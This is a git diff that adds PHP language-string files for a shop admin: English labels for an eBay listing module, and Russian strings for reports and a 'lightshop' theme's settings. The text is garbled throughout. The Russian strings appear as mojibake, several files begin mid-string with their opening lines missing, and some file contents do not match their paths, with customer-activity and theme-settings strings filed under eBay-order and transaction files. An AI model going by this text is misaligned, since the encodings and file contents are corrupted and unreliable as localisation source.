+$_['column_stock_col_enabled'] = 'Enabled';
+$_['column_thumb'] = 'Image';
+$_['column_img_size'] = 'Size';
+$_['column_template_image'] = 'Template image';
+$_['column_ebay_image'] = 'eBay image';
+$_['column_main_ebay_image'] = 'Main eBay image';
+$_['column_sku'] = 'SKU';
+
+// Entry
+$_['entry_compatibility'] = 'Parts compatibility';
+$_['entry_shop_category'] = 'Shop Category';
+$_['entry_category_popular'] = 'Popular Categories';
+$_['entry_category_suggested'] = 'eBay suggested category';
+$_['entry_category'] = 'Category';
+$_['entry_listing_condition'] = 'Item condition';
+$_['entry_listing_duration'] = 'Listing duration';
+$_['entry_search_catalog'] = 'Search eBay catalog:';
+$_['entry_catalog'] = 'Use default image';
+$_['entry_title'] = 'Title';
+$_['entry_subtitle'] = 'Sub title';
+$_['entry_description'] = 'Description';
+$_['entry_profile_load'] = 'Load profile';
+$_['entry_template'] = 'Theme';
+$_['entry_image_gallery'] = 'Gallery image size';
+$_['entry_image_thumb'] = 'Thumb image size';
+$_['entry_images_supersize'] = 'Supersize images';
+$_['entry_images_gallery_plus'] = 'Gallery plus';
+$_['text_stock_matrix'] = 'Stock matrix';
+$_['entry_qty'] = 'Quantity to list';
+$_['entry_price'] = 'Price';
+$_['entry_tax_inc'] = 'Tax included';
+$_['entry_offers'] = 'Allow buyers to make offers';
+$_['entry_private'] = 'Private listing';
+$_['entry_imediate_payment'] = 'Immediate payment required?';
+$_['entry_payment'] = 'Payments accepted';
+$_['entry_payment_instruction'] = 'Payment instructions';
+$_['entry_item_postcode'] = 'Postcode/Zip of location';
+$_['entry_item_location'] = 'Town or State of location';
+$_['entry_despatch_country'] = 'Dispatch country';
+$_['entry_despatch_time'] = 'Dispatch time';
+$_['entry_shipping_getitfast'] = 'Get It Fast!';
+$_['entry_shipping_cod'] = 'Cash on delivery fee';
+$_['entry_shipping_type_nat'] = 'National shipping type';
+$_['entry_shipping_nat'] = 'National shipping services';
+$_['entry_shipping_handling_nat'] = 'Handling fee (national)';
+$_['entry_shipping_in_desc'] = 'Freight info in description';
+$_['entry_shipping_type_int'] = 'International shipping type';
+$_['entry_shipping_intnat'] = 'International shipping services';
+$_['entry_shipping_handling_int'] = 'Handling fee (international)';
+$_['entry_shipping_pickupdropoff'] = 'Click and Collect';
+$_['entry_shipping_pickupinstore'] = 'Available for In-Store Pickup';
+$_['entry_shipping_global_shipping']= 'Use Global shipping service';
+$_['entry_shipping_promotion_discount'] = 'Combined shipping discounts (national)';
+$_['entry_shipping_promotion_discount_international'] = 'Combined shipping discounts (international)';
+$_['entry_vrm'] = 'Vehicle Registration Mark';
+$_['entry_vin'] = 'Vehicle Identification Number';
+
+// Tab
+$_['tab_feature'] = 'Features';
+$_['tab_ebay_catalog'] = 'eBay catalog';
+$_['tab_description'] = 'Description';
+$_['tab_price'] = 'Price & details';
+$_['tab_payment'] = 'Payment';
+$_['tab_returns'] = 'Returns';
+
+// Help
+$_['help_quantity_reserve'] = 'Enter a lower amount if you want to maintain a lower stock level on eBay';
+$_['help_price_ex_tax'] = 'Your standard item price excluding tax. This value is not sent to eBay.';
+$_['help_price_inc_tax'] = 'This value is sent to eBay and is the price users will pay.';
+$_['help_private'] = 'Hide buyer user names';
+$_['help_category_suggested'] = 'The list of categories eBay has suggested based of your item title';
+$_['help_category_popular'] = 'A list of your recently used categories';
+$_['help_shop_category'] = 'The category where the product will be added in your eBay shop';
+$_['help_shipping_promotion_discount'] = 'Offer national buyers a discount on shipping if they buy multiple items. Discounts must have been setup in eBay to take effect.';
+$_['help_shipping_promotion_discount_international'] = 'Offer international buyers a discount on shipping if they buy multiple items. Discounts must have been setup in eBay to take effect.';
+
+// Error
+$_['error_choose_category'] = 'You must choose a category';
+$_['error_search_text'] = 'Enter search text';
+$_['error_no_stock'] = 'You cannot list an item with zero stock';
+$_['error_catalog_data'] = 'No eBay catalog data was found for your product in eBay';
+$_['error_missing_settings'] = 'You cannot list items until you sync the eBay settings';
+$_['error_category_load'] = 'Unable to load categories';
+$_['error_features'] = 'Error loading features';
+$_['error_catalog_load'] = 'Error loading catalog';
+$_['error_category_sync'] = 'You must fix your category problem before you can list. Try re-syncing them in the module admin area.';
+$_['error_choose_category'] = 'Please choose an eBay category';
+$_['error_sku'] = 'Cannot submit a product without an SKU';
+$_['error_name'] = 'Cannot submit a product without a name';
+$_['error_name_length'] = 'Product name must be under 80 characters';
+$_['error_item_location'] = 'Enter an item location postcode';
+$_['error_dispatch_time'] = 'Enter a dispatch time';
+$_['error_shipping_national'] = 'Add at least one national shipping service';
+$_['error_stock'] = 'You must have stock of an item to list it';
+$_['error_duration'] = 'Select a listing duration';
+$_['error_listing_duration'] = 'Select a listing duration, select category to load these options';
+$_['error_image_size'] = 'Ensure that you have a gallery and thumb image size';
+$_['error_no_images'] = 'Listing must have at least 1 image uploaded to eBay';
+$_['error_main_image'] = 'You need to choose a main eBay image from your selection of eBay images';
+$_['error_ebay_imagesize'] = 'Image must be at least 500px on 1 side to use on eBay';
+$_['error_no_sku'] = 'No SKU found!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/openbay/ebay_newbulk.php b/public/admin/language/ru-ru/extension/openbay/ebay_newbulk.php
new file mode 100644
index 0000000..6b177bc
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/openbay/ebay_newbulk.php
@@ -0,0 +1,80 @@
+ items';
+$_['text_listed'] = 'Item listed! ID: ';
+$_['text_ajax_confirm_listing'] = 'Are you sure you want to bulk list these items?';
+$_['text_bulk_plan_error'] = 'Your current plan does not allow for bulk uploads, upgrade your plan here ';
+$_['text_item_limit'] = 'You cannot list these items as you would exceed your plan limit, upgrade your plan here ';
+$_['text_search_text'] = 'Enter some search text';
+$_['text_catalog_no_products'] = 'No catalog items found';
+$_['text_search_failed'] = 'Search failed';
+$_['text_esc_key'] = 'The splash page has been hidden but may not have finished loading';
+$_['text_loading_categories'] = 'Loading categories';
+$_['text_loading_condition'] = 'Loading product conditions';
+$_['text_loading_duration'] = 'Loading listing durations';
+$_['text_total_fee'] = 'Total fees';
+$_['text_category_choose'] = 'Find category';
+$_['text_suggested'] = 'Suggested categories';
+$_['text_product_identifiers'] = 'Product identifiers';
+$_['text_ean'] = 'EAN';
+$_['text_upc'] = 'UPC';
+$_['text_isbn'] = 'ISBN';
+$_['text_identifier_not_required'] = 'Not required';
+
+//Errors
+$_['text_error_ship_profile'] = 'You need to have a default shipping profile set up';
+$_['text_error_generic_profile'] = 'You need to have a default generic profile set up';
+$_['text_error_return_profile'] = 'You need to have a default return profile set up';
+$_['text_error_theme_profile'] = 'You need to have a default theme profile set up';
+$_['text_error_variants'] = 'Items with variations cannot be bulk listed and have been unselected';
+$_['text_error_stock'] = 'Some items are not in stock and have been removed';
+$_['text_error_no_product'] = 'There is no eligible products selected to use the bulk upload feature';
+$_['text_error_reverify'] = 'There was an error, you should edit and re-verify the items';
+$_['error_missing_settings'] = 'You cannot bulk list items until you syncronise your eBay settings';
+$_['text_error_no_selection'] = 'You must select at least 1 item to list';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/openbay/ebay_orders.php b/public/admin/language/ru-ru/extension/openbay/ebay_orders.php
new file mode 100644
index 0000000..01b2e3e
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/openbay/ebay_orders.php
@@ -0,0 +1,24 @@
+%s - добавлен новый адреÑ.';
+$_['text_address_edit'] = '%s - обновлены адреÑа.';
+$_['text_address_delete'] = '%s - удален один из адреÑов.';
+$_['text_edit'] = '%s - обновлена Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð°ÐºÐºÐ°ÑƒÐ½Ñ‚Ð°.';
+$_['text_forgotten'] = '%s - Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ паролÑ.';
+$_['text_login'] = '%s - выполнен вход.';
+$_['text_password'] = '%s - обновлен пароль.';
+$_['text_register'] = '%s - зарегиÑтрирован новый покупатель';
+$_['text_return_account'] = '%s - запрошен возврат товара.';
+$_['text_return_guest'] = '%s - запрошен возврат товара.';
+$_['text_order_account'] = '%s - Ñоздал новый заказ .';
+$_['text_order_guest'] = '%s - Ñоздал новый заказ .';
+$_['text_filter'] = 'Фильтр';
+
+// Column
+$_['column_customer'] = 'Покупатель';
+$_['column_comment'] = 'Комментарий';
+$_['column_ip'] = 'IP';
+$_['column_date_added'] = 'Дата добавлениÑ';
+
+// Entry
+$_['entry_customer'] = 'Покупатель';
+$_['entry_ip'] = 'IP';
+$_['entry_date_start'] = 'Дата начала';
+$_['entry_date_end'] = 'Дата окончаниÑ';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/report/customer_order.php b/public/admin/language/ru-ru/extension/report/customer_order.php
new file mode 100644
index 0000000..2861a5f
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/report/customer_order.php
@@ -0,0 +1,27 @@
+%s';
+$_['text_filter'] = 'Фильтр';
+
+// Column
+$_['column_keyword'] = 'ЗапроÑ';
+$_['column_products'] = 'Ðайденные товары';
+$_['column_category'] = 'КатегориÑ';
+$_['column_customer'] = 'Покупатель';
+$_['column_ip'] = 'IP';
+$_['column_date_added'] = 'Дата добовлениÑ';
+
+// Entry
+$_['entry_date_start'] = 'Дата начала';
+$_['entry_date_end'] = 'Дата окончаниÑ';
+$_['entry_keyword'] = 'ЗапроÑ';
+$_['entry_customer'] = 'Покупатель';
+$_['entry_ip'] = 'IP';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/report/customer_transaction.php b/public/admin/language/ru-ru/extension/report/customer_transaction.php
new file mode 100644
index 0000000..5cecfbf
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/report/customer_transaction.php
@@ -0,0 +1,30 @@
+lazyLoad';
+$_['text_theme_lightshop_js_footorhead'] = 'Вывод js Ñкриптов';
+$_['text_theme_lightshop_js_footorhead_tt'] = 'Вывод js Ñкриптов. Ð”Ð»Ñ ÑовмеÑтимоÑти Ñо Ñторонними дополнениÑми, рекомендуетÑÑ Ð¿Ð¾Ð»Ð¾Ð¶ÐµÐ½Ð¸Ðµ - Вверху Ñайта';
+$_['text_theme_lightshop_js_footorhead_1'] = 'Вверху Ñайта';
+$_['text_theme_lightshop_js_footorhead_2'] = 'Внизу Ñайта';
+$_['text_theme_lightshop_fontawesome'] = 'Иконки fontawesome';
+$_['text_theme_lightshop_fontawesome_tt'] = 'Включите, еÑли Ñтороннее дополенение иÑпользует иконки fontawesome ';
+$_['text_theme_lightshop_bootstrap'] = 'bootstrap компоненты';
+$_['text_theme_lightshop_bootstrap_tt'] = 'Включите, еÑли Ñтороннее дополенение иÑпользует bootstrap компоненты: modals, tooltip, tabs, dropdown ';
+$_['text_theme_lightshop_header_type'] = 'Тип шапки';
+$_['text_theme_lightshop_header_type_1'] = 'Только главное меню';
+$_['text_theme_lightshop_header_type_2'] = 'Верхнее и главное меню, Ñтиль 1';
+$_['text_theme_lightshop_header_type_3'] = 'Верхнее и главное меню, Ñтиль 2';
+$_['text_theme_lightshop_header_type3_logo'] = 'Положение логотипа';
+$_['text_theme_lightshop_header_type3_logo_0'] = 'По центру';
+$_['text_theme_lightshop_header_type3_logo_1'] = 'Слева';
+$_['text_theme_lightshop_header_type3_logo_2'] = 'Справа';
+$_['text_theme_lightshop_header_type3_menu'] = 'Пункты в главном меню';
+$_['text_theme_lightshop_fixed_header'] = 'ФикÑ. меню';
+$_['text_theme_lightshop_fixed_header_tt'] = 'ФикÑировать меню вверху Ñайта при Ñкролле';
+$_['text_theme_lightshop_header_text_logo'] = 'ТекÑтовый логотип или svg код';
+$_['text_theme_lightshop_header_logo'] = 'Логотип';
+$_['text_table_header_navs_0'] = 'Тип';
+$_['text_table_header_navs_1'] = 'Пункт меню';
+$_['text_table_header_navs_2'] = 'ПорÑдок Ñортировки';
+$_['text_table_header_navs_name'] = 'Ðазвание подменю';
+$_['text_table_header_navs_href'] = 'СÑылка(http://)';
+$_['text_table_header_navs_href_0'] = 'СÑылки';
+$_['text_theme_lightshop_max_subcat'] = 'Ограничение категорий';
+$_['text_theme_lightshop_max_subcat_tt'] = 'Ограничить категории 3го уровнÑ';
+$_['text_table_header_navs_1_tt'] = 'Ð”Ð»Ñ Ð³Ð»Ð°Ð²Ð½Ñ‹Ñ… родительÑких категорий необходимо включить параметр «Главное меню» в наÑтройках категории';
+$_['text_table_main_nav'] = 'Категории (по умолчанию вÑе)';
+$_['text_table_main_add'] = 'Дополнительный Ñлемент подменю';
+$_['text_table_main_add_0'] = 'Ð“Ð»Ð°Ð²Ð½Ð°Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ';
+$_['text_table_main_add_1'] = 'Правый Ñлемент подменю 1';
+$_['text_theme_lightshop_main_rec'] = 'Можно иÑпользовать html';
+$_['text_theme_lightshop_main_rec_0'] = 'html контент';
+$_['text_theme_lightshop_product_detail'] = 'БыÑтрый проÑмотр';
+$_['text_theme_lightshop_product_detail_1'] = 'Вкл. (при клике на название/изображение товара)';
+$_['text_theme_lightshop_product_detail_2'] = 'Вкл. (при клике на кнопку быÑтрого проÑмотра)';
+$_['text_theme_lightshop_cart_call'] = 'В корзину';
+$_['text_theme_lightshop_cart_call_tt'] = 'ДейÑтвие поÑле Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð° в корзину';
+$_['text_theme_lightshop_cart_call_0'] = 'Показывать подÑказку вверху Ñайта';
+$_['text_theme_lightshop_cart_call_1'] = 'Открывать корзину';
+$_['text_theme_lightshop_category_background'] = 'Фон в каталоге';
+$_['text_theme_lightshop_category_background_tt'] = 'Отображать фоновое изображение в каталоге товаров';
+$_['text_theme_lightshop_category_categories'] = 'Категории в каталоге';
+$_['text_theme_lightshop_category_categories_tt'] = 'Варианты Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð»Ð¸Ñ‚Ð¾Ðº категорий в каталоге';
+$_['text_theme_lightshop_category_categories_0'] = 'Ðе отображать';
+$_['text_theme_lightshop_category_categories_4'] = 'По 3 в Ñ€Ñд';
+$_['text_theme_lightshop_category_categories_3'] = 'По 4 в Ñ€Ñд';
+$_['text_theme_lightshop_category_categories_2'] = 'По 6 в Ñ€Ñд';
+$_['text_theme_lightshop_category_sorts'] = 'Сортировка';
+$_['text_theme_lightshop_category_sorts_tt'] = 'Отображать варианты Ñортировки товаров';
+$_['text_theme_lightshop_category_limits'] = 'Лимиты';
+$_['text_theme_lightshop_category_limits_tt'] = 'Отображать лимиты вывода товаров в каталог';
+$_['text_theme_lightshop_pÑ_view'] = 'Вид каталога (ПК)';
+$_['text_theme_lightshop_pÑ_view_tt'] = 'Вид каталога товаров по умолчанию в ПК верÑии Ñайта, данный параметр на витрине Ñайта ÑохранÑетÑÑ Ð² файлах cookies';
+$_['text_theme_lightshop_pÑ_view_3'] = 'Плитка по 3 товара в Ñ€Ñд';
+$_['text_theme_lightshop_pÑ_view_4'] = 'Плитка по 4 товара в Ñ€Ñд';
+$_['text_theme_lightshop_pÑ_view_5'] = 'Плитка по 5 товаров в Ñ€Ñд';
+$_['text_theme_lightshop_pÑ_view_list'] = 'ЛиÑÑ‚';
+$_['text_theme_lightshop_pÑ_view_table'] = 'Таблица';
+$_['text_theme_lightshop_mobile_view'] = 'Вид каталога (моб.)';
+$_['text_theme_lightshop_mobile_view_tt'] = 'Вид каталога товаров по умолчанию в мобильной верÑии Ñайта, данный параметр на витрине Ñайта ÑохранÑетÑÑ Ð² файлах cookies';
+$_['text_theme_lightshop_mobile_view_main'] = 'Плитка';
+$_['text_theme_lightshop_catalog_type_tt'] = 'Вариант Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð»Ð¸Ñ‚ÐºÐ¸ в каталоге товаров';
+$_['text_theme_lightshop_wishlist'] = 'Избранные без региÑтрации ';
+$_['text_theme_lightshop_subcategory'] = 'Вывод в категории товаров из подкатегорий ';
+$_['text_theme_lightshop_product_short_descr'] = 'Краткое опиÑание ';
+$_['text_theme_lightshop_product_short_tag'] = 'Разделитель краткого опиÑÐ°Ð½Ð¸Ñ ';
+$_['text_theme_lightshop_product_opt_select'] = 'Опции ';
+$_['text_theme_lightshop_product_opt_select_0'] = 'в 2 Ñтолбца (по умолчанию)';
+$_['text_theme_lightshop_product_opt_select_'] = 'в 1 Ñтолбец';
+$_['text_theme_lightshop_product_att_select'] = 'Ðтрибуты ';
+$_['text_theme_lightshop_product_zoom'] = 'Увеличение Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ';
+$_['text_theme_lightshop_product_zoom_0'] = 'Fancy box (по умолчанию)';
+$_['text_theme_lightshop_product_zoom_1'] = 'Cloud zoom';
+$_['text_theme_lightshop_product_cod'] = 'Код товара ';
+$_['text_theme_lightshop_product_cod_0'] = 'model (по умолчанию)';
+$_['text_theme_lightshop_p_related_view'] = 'Рекомендуемые товары ';
+$_['text_theme_lightshop_p_related_view_0'] = 'Слайдер (по умолчанию)';
+$_['text_theme_lightshop_p_related_view_3'] = 'Сетка по 3 товара в Ñтроке';
+$_['text_theme_lightshop_p_related_view_4'] = 'Сетка по 4 товара в Ñтроке';
+$_['text_theme_lightshop_p_related_view_5'] = 'Сетка по 5 товаров в Ñтроке';
+$_['text_theme_lightshop_product_review'] = 'ИндекÑируемые отзывы ';
+$_['text_theme_lightshop_tag'] = 'тег';
+$_['text_theme_lightshop_metatag'] = 'Метатег';
+$_['text_theme_lightshop_contact_map'] = 'ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÐµÐ¼Ð°Ñ ÐºÐ°Ñ€Ñ‚Ð° ';
+$_['text_theme_lightshop_contact_map_0'] = 'Без карты';
+$_['text_theme_lightshop_contact_map_1'] = 'Google карты';
+$_['text_theme_lightshop_contact_map_2'] = 'Ð¯Ð½Ð´ÐµÐºÑ ÐºÐ°Ñ€Ñ‚Ñ‹';
+$_['text_theme_lightshop_contact_zoom'] = 'МаÑштаб карты';
+$_['text_theme_lightshop_contact_zoom_control'] = 'Кнопки ÑƒÐ²ÐµÐ»Ð¸Ñ‡ÐµÐ½Ð¸Ñ ';
+$_['text_theme_lightshop_contact_api_key'] = 'API ключ';
+$_['text_theme_lightshop_contact_api_key_i'] = 'Ð”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡Ð° API Google Maps перейдите по ÑÑылке https://developers.google.com/maps/documentation/geocoding/get-api-key?hl=ru ';
+$_['text_theme_lightshop_checkout_st4_title'] = 'Заголовки ';
+$_['text_theme_lightshop_checkout_st4_col'] = 'Вид Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ';
+$_['text_theme_lightshop_checkout_st4_col_0'] = 'В 1 колонку';
+$_['text_theme_lightshop_checkout_st4_col_1'] = 'В 2 колонки';
+$_['text_theme_lightshop_checkout_st3_sa'] = 'ÐÐ´Ñ€ÐµÑ Ð´Ð¾Ñтавки ';
+$_['text_theme_lightshop_checkout_shipping'] = 'ВидимоÑть доÑтавки ';
+$_['text_theme_lightshop_checkout_shipping_0'] = 'Скрыть (По умолчанию)';
+$_['text_theme_lightshop_checkout_shipping_1'] = 'Показывать';
+$_['text_theme_lightshop_che_legend'] = 'Поле';
+$_['text_theme_lightshop_che_name'] = 'Ðазвание';
+$_['text_theme_lightshop_che_customer_group'] = 'Группа покупателей';
+$_['text_theme_lightshop_che_required'] = 'ОбÑзательно';
+$_['text_theme_lightshop_che_i'] = 'Ð”Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð³Ð¾ Ð¿Ð¾Ð»Ñ Ð¾Ñ‚ÐºÑ€Ð¾Ð¹Ñ‚Ðµ раздел Покупатели > Произвольные Ð¿Ð¾Ð»Ñ ';
+$_['text_theme_lightshop_che_st2_firstname'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - ИмÑ';
+$_['text_theme_lightshop_che_st2_lastname'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - ФамилиÑ';
+$_['text_theme_lightshop_che_st2_email'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - E-mail';
+$_['text_theme_lightshop_che_st2_telephone'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - Телефон';
+$_['text_theme_lightshop_che_st2_fax'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - ФакÑ';
+$_['text_theme_lightshop_che_st2_company'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - КомпаниÑ';
+$_['text_theme_lightshop_che_st2_address_1'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - ÐдреÑ';
+$_['text_theme_lightshop_che_st2_address_2'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - ÐÐ´Ñ€ÐµÑ (дополнительно)';
+$_['text_theme_lightshop_che_st2_city'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - Город';
+$_['text_theme_lightshop_che_st2_postcode'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - ИндекÑ';
+$_['text_theme_lightshop_che_st2_country_id'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - Страна';
+$_['text_theme_lightshop_che_st2_zone_id'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - Регион / ОблаÑть';
+$_['text_theme_lightshop_blog_legend'] = 'ÐžÐ±Ñ‰Ð°Ñ Ñтраница блога';
+$_['text_theme_lightshop_blog_legend_0'] = 'ЗапиÑÑŒ блога';
+$_['text_theme_lightshop_blog_path'] = 'URL блога Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸ÐµÐ¹ ';
+$_['text_theme_lightshop_blog_background'] = 'Фон в запиÑи ';
+$_['text_theme_lightshop_blog_rev_st'] = 'Разрешить отзывы';
+$_['text_theme_lightshop_blog_rev_guest'] = 'Отзывы от гоÑтей ';
+$_['text_theme_lightshop_blog_rev_moder'] = 'Отзывы без модерации ';
+$_['text_theme_lightshop_captcha'] = 'Captcha ';
+$_['text_theme_lightshop_logo_404'] = 'Изображение ';
+$_['text_theme_lightshop_footer_type'] = 'Тип футера';
+$_['text_theme_lightshop_footer_soc_stat'] = 'Соц. Ñети';
+$_['text_theme_lightshop_footer_text_logo'] = 'ТекÑтовый логотип или svg код';
+$_['text_theme_lightshop_footer_logo'] = 'Логотип внизу Ñайта';
+$_['text_theme_lightshop_footer_text'] = 'Тектовый блок';
+$_['text_theme_lightshop_footer_copyright'] = 'Копирайт';
+$_['text_theme_lightshop_subscribe_email_alert'] = 'Оповещение e-mail админиÑтратору';
+$_['text_theme_lightshop_subscribe_title'] = 'Заголовок ';
+$_['text_theme_lightshop_subscribe_subtitle'] = 'Подзаголовок ';
+$_['text_theme_lightshop_vidg_extlinks_i'] = 'Дополнительные ÑÑылки могут быть добавлены: Верх Ñайта > Верхнее мега-меню, Верх Ñайта > Главное мега-меню, Ðиз Ñайта > Ðижнее мега-меню.';
+$_['text_theme_lightshop_social_nav'] = 'Соц. Ñеть';
+$_['text_theme_lightshop_soc_share_prod'] = 'Показывать на Ñтраницах товаров';
+$_['text_theme_lightshop_soc_share_blog'] = 'Показывать на Ñтраницах блога';
+$_['text_theme_lightshop_soc_share_code'] = 'Код share кнопок ';
+$_['text_theme_lightshop_soc_share_code_0'] = 'Код share кнопок';
+$_['text_theme_lightshop_label_legend'] = 'СТИКЕРÐОВИÐКÐ';
+$_['text_theme_lightshop_label_legend_0'] = 'СТИКЕРСКИДКÐ';
+$_['text_theme_lightshop_label_legend_1'] = 'СТИКЕРХИТ ПРОДÐЖ';
+$_['text_theme_lightshop_label_legend_2'] = 'СТИКЕРПОПУЛЯРÐЫЙ ТОВÐÐ ';
+$_['text_theme_lightshop_label_legend_3'] = 'СТИКЕРУСПЕЙ КУПИТЬ';
+$_['text_theme_lightshop_label_new_periods'] = 'Ðктивен ';
+$_['text_theme_lightshop_label_legend_0_i'] = 'ОтображаетÑÑ Ñƒ товаров где добавлена цена по акции (еÑть Ð¿ÐµÑ€ÐµÑ‡ÐµÑ€ÐºÐ½ÑƒÑ‚Ð°Ñ Ñ†ÐµÐ½Ð°).';
+$_['text_theme_lightshop_label_sale_extra'] = 'Дополнительный Ñлемент';
+$_['text_theme_lightshop_label_legend_1_i'] = 'Продаж ';
+$_['text_theme_lightshop_label_hit_period'] = 'За период';
+$_['text_theme_lightshop_label_hit_qty'] = 'Продаж';
+$_['text_theme_lightshop_label_legend_2_i'] = 'ПроÑмотров ';
+$_['text_theme_lightshop_label_catch_qty'] = 'КоличеÑтво ';
+$_['text_theme_lightshop_label_catch'] = 'Дополнительное название ';
+$_['text_theme_lightshop_order_status_id'] = 'Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð·Ð°ÐºÐ°Ð·Ð° ';
+$_['text_theme_lightshop_label_popular_views'] = 'ПроÑмотров';
+$_['text_theme_lightshop_buy_click_i'] = 'ÐаÑтройки Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¾Ð½Ð°Ð»Ð° "Купить в один клик" (в карточке товара, каталоге и быÑтром проÑмотре) и "БыÑтрый заказ" (в Ñтандартной и вÑплывающей корзине)';
+$_['text_theme_lightshop_scrolltt_pos'] = 'ПозициÑ';
+$_['text_theme_lightshop_pdata_i'] = 'Перед выбором текÑÑ‚ нужно добавить в раздел';
+$_['text_theme_lightshop_pdata_i_0'] = 'Каталог > Статьи';
+$_['text_theme_lightshop_callback_pdata'] = 'Заказ звонка ';
+$_['text_theme_lightshop_subscribe_pdata'] = 'Форма подпиÑки ';
+$_['text_theme_lightshop_buy_click_pdata'] = 'БыÑтрый заказ ';
+$_['text_theme_lightshop_contact_pdata'] = 'Контакты ';
+$_['text_theme_lightshop_voucher_pdata'] = 'Сертификат ';
+$_['text_theme_lightshop_review_pdata'] = 'Отзывы о товарах ';
+$_['text_theme_lightshop_blog_pdata'] = 'Статьи блога ';
+$_['text_theme_lightshop_cookies_pdata'] = 'Файлы cookies ';
+$_['text_theme_lightshop_ecommerce'] = 'ÐÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð°Ñ ÐºÐ¾Ð¼Ð¼ÐµÑ€Ñ†Ð¸Ñ';
+$_['text_theme_lightshop_analytics_i'] = 'Код Ñчетчиков можно добавить в ';
+$_['text_theme_lightshop_analytics_i_0'] = 'ÑоответÑтвующем разделе панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ ';
+$_['text_theme_lightshop_analytics_ya_status'] = 'ÐšÐ¾Ð¼Ð¼ÐµÑ€Ñ†Ð¸Ñ Ð¯Ð½Ð´ÐµÐºÑ ';
+$_['text_theme_lightshop_analytics_goole_status'] = 'ÐšÐ¾Ð¼Ð¼ÐµÑ€Ñ†Ð¸Ñ Google ';
+$_['text_theme_lightshop_ecommerce_event'] = 'Общие метки Ñобытий';
+$_['text_theme_lightshop_ecommerce_event_i'] = 'ÐаÑтройка целей Ð´Ð»Ñ Ð¯Ð½Ð´ÐµÐºÑ.Метрики опиÑана в разделе , иÑпользуетÑÑ Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ‚Ð¾Ñ€ JavaScript-ÑÐ¾Ð±Ñ‹Ñ‚Ð¸Ñ Ð¸Ð· ÑпиÑка ниже. ÐаÑтройка целей Ð´Ð»Ñ Google Ðналитики опиÑана в разделе , иÑпользуетÑÑ Â«Ð’Ð°Ñ€Ð¸Ð°Ð½Ñ‚ 2. СобÑтвенные цели» > Тип: Событие > ДейÑтвие > Равно > Значение из ÑпиÑка ниже.';
+$_['text_lightshop_callback'] = 'Обратный звонок, форма ';
+$_['text_lightshop_addtocart_catalog'] = 'Товар добавлен в корзину, ÑпиÑок ';
+$_['text_lightshop_addtocart_product'] = 'Товар добавлен в корзину, Ñтраница ';
+$_['text_lightshop_buyclick'] = 'Купить в 1 клик, форма ';
+$_['text_lightshop_buyclick_success'] = 'Купить в 1 клик, success ';
+$_['text_lightshop_checkout_success'] = 'Стандартный заказ, success ';
+$_['text_lightshop_settocart'] = 'Ðабор добавлен в корзину ';
+$_['text_lightshop_subscribe'] = 'ПодпиÑалÑÑ Ð½Ð° новоÑти, форма ';
+$_['text_lightshop_contact'] = 'Форма обратной ÑвÑзи ';
+$_['text_theme_lightshop_messenger_td'] = 'МеÑÑенджер';
+$_['text_theme_lightshop_messenger_td_0'] = 'Идентификатор ';
+$_['text_version'] = 'ВерÑиÑ';
+$_['text_new_version'] = 'ДоÑтупна Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ€ÑиÑ';
+$_['text_support'] = 'ТехничеÑÐºÐ°Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ°';
